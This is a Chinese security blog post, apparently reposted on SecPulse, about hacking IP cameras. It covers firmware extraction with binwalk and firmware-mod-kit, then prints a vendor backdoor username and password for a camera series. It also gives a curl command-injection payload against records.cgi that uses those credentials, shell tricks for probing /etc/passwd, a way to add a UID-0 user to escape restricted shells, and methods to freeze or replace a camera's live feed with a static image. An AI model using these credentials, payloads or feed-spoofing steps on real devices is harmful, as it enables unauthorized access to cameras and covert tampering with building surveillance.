Embedded devices hacking –IPCAM hacking

2015-01-04 13,451

一直以来,hacking题材的电影都非常炫酷,黑客们入侵大楼在键盘上噼里啪啦,不多时就如入无人之境,分分钟黑下大楼的所有系统,其中,对监控摄像头的hacking描写也很多,这次我们就来“意淫”一下,入侵大楼时,hacking监控摄像(文中案例都是我编的,请勿对号入座)

3601001255

Embedded devices hacking --IPCAM hacking1

 

  • 主要分析流程
    通过binwalk分析识别固件文件
    分离提取固件
    把提取的elf载入到分析软件(IDA)
    开始分析研究吧~

binwalk和fmk学习

  • binwalk
    binwalk xxx.bin

    最简单的分析命令,通过签名匹配来识别固件中的文件,可是单单通过这样的简单匹配可能有其他的文件类型不能识别,所以有时可以使用插件--enable-plugin=***
    可以从图中看出,0x32E8的偏移位置是gzip的压缩包文件,0x8A6A88的偏移位置是linux内核镜像的头部,可以看到他的一些信息

    binwalk xxx.bin --dd=类型:保存下来的扩展名

IPCAM_hacking_1

这样,会把gzip的文件保存到本地以.gzip命名也可以用binwalk自动化递归提取binwalk xxx.bin -eM

之后iou就可以通过解包等行为分析我们提取出来的文件了,不过,在一些简单的分析情况下,我们这样识别,分析,提取,过滤,解包,有些繁杂,此时就可以用fmk来帮我们很快的完成这些工作
p.s. 除了通过binwalk的内置函数进行提取,我们还可以通过dd命令来提取文件
dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename

  • firmware-mod-kit

通过svn安装fmk,我们来认识一下这个套件用到的东西

IPCAM_hacking_2

extract-firmware.sh使用来解包固件
build-firmware.sh使用来重新封包
check_for_upgrade.sh用来检查更新
unsquashfs_all.sh使用来解包提取出来的squashfs文件

./extract-firmware.sh xxx.bin

 

可以很方便的帮我们提取文件

IPCAM_hacking_3

之后,我们可以在当前目录的fmk下找到提取出来的文件

logs目录下还给我们提供了binwalk的log

IPCAM_hacking_4

rootfs下就是固件解包提取的文件了

 

IPCAM hacking

网络摄像头hacking其实和其他嵌入式设备hacking类似,尤其和各种路由器的玩法相似,我们此处简要以一个运用非常广泛的网络摄像头为例,3s的摄像头,在分析中,我发现了其厂商自带的后门以及一个RCE,篇幅所限,第一篇笔记我们只提到后门(其实就是懒,不想码字...)

通过上述过程解包提取文件,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的源码

将httpd丢入IDA
很快看到有奇怪的东西乱入了...system.anonymousptz....why are u so diao

IPCAM_hacking_5

官方后门get,shodan上搜一搜发现在今年上半年已经有老外发过了,但是貌似这个后门至今3s公司依旧在其他的摄像头型号里使用...给跪

IPCAM_hacking_14

user:3sadmin
password:27988303

影响所有N10xx到N50xx型号的摄像头

留一笔下篇笔记写这批型号摄像头的Remote Command Execution

Embedded devices hacking --IPCAM hacking2

紧接着上次的讲,我们通过ida分析N5071的webserver后发现了他至今使用的官方后门,已经可以通过后门未授权通过web访问IPCAM进行研(偷)究(窥)了,但是作为一名hacker,这还不够酷,在分析的过程中,我还发现了影响其N产品的一个远程命令执行,虽是第一次做binary分析,但是很有趣,仅以此文做学习嵌入式设备hacking的记录

function calls to the evil

在N5071的代码中,有很多诸如sprintf strcpy的不安全函数调用,当我们配合之前提到的后门时,那影响就是一片一片的~

这个系列产品是可以支持管理本地文件存储的,在webserver中,有records.cgi控制

records.cgi使用来做删除操作,会先交由函数do_records检查是否存在文件

IPCAM_hacking_6

IPCAM_hacking_11

 

 

如果文件存在,那么就会抛给sprintf去做字符串格式化然后执行rm命令删除,如图:

IPCAM_hacking_7

 

那么,问题就来了,上学老师就告诉过,sprintf要不得,一点过滤都没有而且这里还是用的system function
(web狗表示这里能够搞定很开心~)

所以,我们可以利用官方那个后门访问records.cgi,构造payload来进行命令注入从而执行系统命令

curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`

 

exploit

 

IPCAM_hacking_8

执行poweroff后~

IPCAM_hacking_9

IPCAM_hacking_10

 

Embedded devices hacking_3

 

一直以来,hacking题材的电影都非常炫酷,黑客们入侵大楼在键盘上噼里啪啦,不多时就如入无人之境,分分钟黑下大楼的所有系统,其中,对监控摄像头的hacking描写也很多,这次我们就来“意淫”一下,入侵大楼时,hacking监控摄像(文中案例都是我编的,请勿对号入座)

 

IPCAM&&videorecorders

  • 一般大楼内都有许多摄像头,它们通常区分为网络摄像头和录像机,录像机是可以保存画面数据的,先来大致了解一下他们是如何工作的:

IPCAM_hacking_12

IPCAM_hacking_13

如上图,管理界面可以分屏查看当前在线的所有cam画面

从简易到拓扑我们可以看到,在整个系统中manage server用作管理下属cam,通常有web ui,管理还可通过自己的设备接入进行管理操作,管理的日志和数据存放在数据库中,说明是有数据查询交互的,DVR录像机的画面数据也会存放在server中,而ipcam则会实时传输,也就是说,我们hacking的入手点,可以放在DVR,IPCAM,manager的web方向

也就是说,我们可以通过:

web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM)

 

OR

Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)

 

一个是通过上层到底层,另一个则直接通过IPCAM或DVR的固件问题直接hacking

 

some tricks

  • 上一篇文章中我们通过执行payload时使用curl发包,用ping来检测命令是否注入,在embedded devices hacking中,还有一些小trick可以帮助我们
    • 很多时候,厂商对原始设备进行了二次开发,所以有些命令你在其他设备work,在目标设备就不work,所以我们可以多采用几种命令进行测试,如curl,wget,nc
    • 灵活使用linux命令进行字符串操作
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
// 检测root,下面是一些更好的方式。 
$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1 
$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1 
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi 
1

 

  • 当遇到目标有限制字符时,可以写入shell脚本进行执行
  • 如果你非常不幸,遇到了一个阉割命令的busybox多嵌入式设备,权限很高却无法执行命令,那么,你需要参考喔之前的一篇文章网络设备中限制用户命令交互的逃逸
    ssh给我们提供了一个可以按照配置预期执行命令的功能,在$HOME/.ssh/ config中进行配置,我们可以达到这样的效果,我们在配置文件中预期执行添加一个新的root用户,UID为0且无限制执行命令,以此来逃逸网络设备的限制问题
  • 你看到的不是真相

    在电影里,我们除了看到黑客直接把大楼系统黑下,还经常看到篡改摄像头的画面,这是怎么做到的~DVR我没研究过,所以暂时不发表观点,在IPCAM,因为数据时以流的形式传送的,所以,如果我们把数据传输的流掐断,会怎样呢~

    答案是管理在web ui上看到的,会冻结在掐断之前的画面,之后摄像头捕捉到到所有画面都不会实时传输回去,以此来达到篡改的目的

    举个栗子,在Trendnet的一款摄像头中,通过fmk分离固件,我看到了一个叫做mjpg.cgi的文件,这个cgi程序起到的作用就是用来传输摄像头到web ui这个过程的,那么~

    我只需要kill掉mjdp进程,整个画面就冻结在kill之前的画面了,在这个攻击中,我甚至都不用ssh连接后本地执行,因为我们可以配合之前所说道的攻击流程,直接对cam固件分析,通过类似RCE的方式kill~

    有同学问到了一个问题,关于时间戳的事儿,这得分情况,如果是DVR的话,录像画面都是从存储设备中调取,所以要篡改,需要更换文件(因为美研究过DVR,这是我意淫的)
    对于IPCAM,有部分不带时间戳,不用考虑这个问题,如果带的,也不用担心,因为他们处理画面传输和时间的进程时两个不同的,你kill了画面的而已(这涉及到他设备的功能实现问题,如果他二者都在一起,当我没说~)

    但是~这并不是一个最好的hacking方法,因为这有一个弊端,如果管理员重新加载浏览管理页面时,进程又会重启,他又会得到实时的画面传输

    那么,大招来了,我们是不是可以通过什么攻击方式来实时更改画面传输,或者说,我们是不是可以通过更好的hacking手段来进行实时欺骗,答案很明显~当然可以

    我们可以通过一个很简单的shell脚本来替换进程传输的画面为你需要的一个静态图片来达到欺骗的目的,大概实现如下:

    #!/bin/sh
     echo -ne "HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n"
     cat ztzsb.jpg
    

     

    如何执行这个东西,就不用赘述了,你可以直接新建一个,也可以直接加入到cgi脚本中,让他自己来执行,如果有更棒的方法,求告知学习~在执行我们的脚本后,管理得到的画面将是你的欺骗画面

    多说一句的是,我比较推荐的是备份原始cgi,用新的脚本来执行欺骗,这样有个好处是可以针对普遍情况的设备,避免二次开发或者不同设备对原始cgi的依赖问题,避免错误

 

【原文:Embedded devices hacking --IPCAM hacking1 part2 part3 author : redrain  SP小编整理发布】

 

本文作者:SP小编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/3759.html

Tags:
评论  (3)
快来写下你的想法吧!
  • Pis 2015-01-04 23:59:59

    cunchu shebei 让我震惊了

  • xyw55 2015-01-05 10:17:15

    很棒的文章,学习了!

  • 小编 2015-01-07 10:25:20

    小编 里面的截图 console 美化是如何弄得~ 求解答~

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号